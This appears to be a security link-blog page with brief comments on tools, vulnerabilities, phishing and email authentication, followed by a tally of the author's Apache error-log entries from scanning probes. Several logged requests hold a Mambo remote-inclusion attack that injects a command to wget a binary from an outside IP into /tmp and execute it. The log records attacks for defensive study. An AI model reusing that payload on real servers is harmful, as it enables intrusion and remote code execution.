Black-hat tutorial of Scapy, a Python network library

Known vulnerabilities in Mozilla, Firefox, and Thunderbird

"Depending on how security-conscious you are, [Symantec] are either making their [email] messages look suspicious or training users to ignore warning signs."

Spam and security related blog The layout and the puns are atrocious, but maybe it could be re-skinned and filtered somehow.

Use case methodologies for threat modelling I thought I was clever but this guy was first. The same author has written other articles about this concept; see CiteSeer and/or Google for more.

Steal bandwidth from phishers by loading this page Not sure I like the meme, but there it is. By keeping this page open in your browser, you continually add load to (alleged) phishing sites.

Here are mine, too, top 78 from the last few weeks They get extremely boring after this point so I'm cutting off at five or more in the twenty weeks I have error logs from. Maybe you could redirect requests for these to some interesting place. Wink wink. 254 File does not exist: /var/www/xmlrpc.php 149 script not found or unable to stat: /usr/lib/cgi-bin/awstats 146 script not found or unable to stat: /usr/lib/cgi-bin/awstats.pl 142 File does not exist: /var/www/awstats/awstats.pl 132 File does not exist: /var/www/wordpress/xmlrpc.php 132 File does not exist: /var/www/phpgroupware/xmlrpc.php 132 File does not exist: /var/www/drupal/xmlrpc.php 119 File does not exist: /var/www/blog/xmlrpc.php 118 File does not exist: /var/www/blogs/xmlsrv/xmlrpc.php 116 File does not exist: /var/www/blog/xmlsrv/xmlrpc.php 115 File does not exist: /var/www/xmlsrv/xmlrpc.php 115 File does not exist: /var/www/xmlrpc/xmlrpc.php 102 File does not exist: /var/www/MSOffice/cltreq.asp 33 File does not exist: /var/www/mambo/index2.php 33 File does not exist: /var/www/index.php 33 File does not exist: /var/www/index2.php 28 client denied by server configuration: /usr/share/doc/apache-doc 26 File does not exist: /var/www/cvs/index2.php 25 File does not exist: /var/www/modules/Forums/admin/admin_styles.phpadmin_styles.php 24 File does not exist: /var/www/ers/svenska/skriv_fel.html 18 script not found or unable to stat: /usr/lib/cgi-bin/stats 18 File does not exist: /var/www/modules/Forums/admin/admin_styles.php 18 File does not exist: /var/www/modules/coppermine/themes/default/theme.php 17 File does not exist: /var/www/admin_styles.phpadmin_styles.php 16 File does not exist: /var/www/modules/coppermine/themes/default/theme.phptheme.php 16 File does not exist: /var/www/Forums/admin/admin_styles.php 15 File does not exist: /var/www/phpmyadmin/main.php 14 File does not exist: /var/www/web/phpMyAdmin/main.php 14 File does not exist: /var/www/stats/awstats.pl 14 File does not exist: /var/www/PMA/main.php 14 File does not exist: /var/www/phpmyadmin2/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.3-rc1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.3-pl1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.3/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.2-rc1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.0-pl1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.0/main.php 14 File does not exist: /var/www/phpMyAdmin-2.5.6/main.php 14 File does not exist: /var/www/phpMyAdmin-2.5.4/main.php 14 File does not exist: /var/www/phpMyAdmin-2.5.1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.2.6/main.php 14 File does not exist: /var/www/phpMyAdmin-2.2.3/main.php 14 File does not exist: /var/www/mysql/main.php 14 File does not exist: /var/www/mysqladmin/main.php 14 File does not exist: /var/www/mysql-admin/main.php 14 File does not exist: /var/www/myadmin/main.php 14 File does not exist: /var/www/main.php 14 File does not exist: /var/www/db/main.php 14 File does not exist: /var/www/dbadmin/main.php 14 File does not exist: /var/www//awstats.pl 14 File does not exist: /var/www/admin/pma/main.php 14 File does not exist: /var/www/admin/phpmyadmin/main.php 14 File does not exist: /var/www/admin/mysql/main.php 14 File does not exist: /var/www/admin/main.php 13 request failed: erroneous characters after protocol string: GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 13 request failed: erroneous characters after protocol string: GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 13 File does not exist: /var/www/cvs/mambo/index2.php 12 request failed: erroneous characters after protocol string: GET /php/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 request failed: erroneous characters after protocol string: GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 request failed: erroneous characters after protocol string: GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 request failed: erroneous characters after protocol string: GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 File does not exist: /var/www//cgi/stats/awstats.pl 12 File does not exist: /var/www/cgi/awstats.pl 12 File does not exist: /var/www//awstats/awstats.pl 11 File does not exist: /var/www//stats/awstats.pl 11 File does not exist: /var/www//cgi/awstats.pl 9 File does not exist: /var/www/cacti/graph_image.php 8 File does not exist: /var/www/_vti_bin/owssvr.dll 8 File does not exist: /var/www/stats/awstats/awstats.pl 8 File does not exist: /var/www/cgibin/awstats.pl 8 File does not exist: /var/www/cgibin/awstats/awstats.pl 7 File does not exist: /var/www/phpmyadmin/index.php 6 File does not exist: /var/www/stats/cgi-bin/awstats.pl 6 File does not exist: /var/www/siteinfo.xml 6 File does not exist: /var/www/Forums/admin/admin_styles.phpadmin_styles.php 6 File does not exist: /var/www/awstats.pl/awstats.pl 5 File does not exist: /var/www/robotsxx.txt 5 File does not exist: /var/www/articles/mambo/index2.php

Dr. John on MARID, DKIM, etc "Bad authentication is worse than no authentication because a bad system will sometimes pass bad mail and fail good mail, meaning either that mail gets even less reliable than it is now, or more likely that mail systems only pretend to use it and outsiders end up scratching their heads wondering why it didn't help. (Most of the people who claim to use SPF or Sender-ID are just pretending, the few foolish or deseperate ones that really do reject lots of legit mail.)"

Scans submitted files with more than a dozen different virus scanners